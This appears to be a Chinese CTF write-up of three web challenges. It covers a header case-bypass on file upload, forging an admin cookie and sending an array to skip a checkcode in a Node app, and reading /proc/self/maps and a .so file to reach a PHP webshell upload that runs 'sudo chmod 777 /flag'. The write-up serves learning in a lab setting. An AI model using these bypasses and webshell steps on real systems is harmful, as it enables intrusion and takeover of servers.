web-扭转乾坤
- 这题赛时没看,感觉有点小亏,随便一个文件上传成功了就给flag
Content-Type:multipart/form-data
—需要在表单中进行文件上传时,就需要使用该格式- 但是直接上传会403,提示不允许使用这个请求头,可以大小写绕过,拿到flag
- HTTP content-type
web-Node Magical Login
一直在绕过伪随机试密码但是一直不成功,不太能理解(尖叫)
所以正解是伪造
cookie
,纯纯是不好好看源码的锅了(翻出源码)if(req.cookies.user === "admin") { res.setHeader("This_Is_The_Flag1", flag1.toString().trim()) res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!") }
Cookie: user=admin
这样可以拿到一半flag,继续访问flag2会提示要输入一个checkcode
再看源码,在判断checkcode是否正确之前用
toLowerCase()
做了一个小写处理,所以后边会肯定验证失败如果让
toLowerCase()
抛出异常就可以绕过后面的部分拿到flag,让checkcode是列表类型即可触发异常if(checkcode.length === 16){ try{ checkcode = checkcode.toLowerCase() if(checkcode !== "aGr5AtSp55dRacer"){ res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()}) }else{ res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode}) }
post传:
{"checkcode":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}
,拿到第二段flag
web-unusual php
应该是有大佬已经复现过了所以
/flag
可读了,因为有个步骤是更改权限,直接读出不了flag那还是复现一下,给的源码:
<?php if($_GET["a"]=="upload"){ move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]); }elseif ($_GET["a"]=="read") { echo file_get_contents($_GET["file"]); }elseif ($_GET["a"]=="version") { phpinfo(); }
读
/proc/self/maps
里面的信息能大概判断泄露的内存的属性,是哪个区域在泄漏、对应哪个文件这个文件要保存下来逆向,乱码怕保存不了,所以伪协议base64加密读一下,然后再解码写入文件,再逆向
文件要改成
.so
后缀再逆,不然my_compile_file
伪代码里还找不到key:abcsdfadfjiweur
这样可以拿到index.php的源码,但是感觉没什么用:
<?php highlight_file("/var/index.txt"); if(!isset($_GET["a"])) exit(); if($_GET["a"]=="upload"){ move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]); }elseif ($_GET["a"]=="read") { echo file_get_contents($_GET["file"]); }elseif ($_GET["a"]=="version") { phpinfo(); }
传马,也是先base64加密,然后解码写入文件上传,传参
?a=upload
,f12添加一个上传表单:<form method="post" action="" enctype="multipart/form-data" name="form"> <input type="file" name="file"> <input type="submit" name="submit" value="上传"> </form>
看了一眼upload目录,全是大家传的各种🐎哈哈哈哈哈哈哈
/flag权限已经是777了但是还是走一下流程:
haoye=system('sudo chmod 777 /flag');
,然后cat /flag
,结束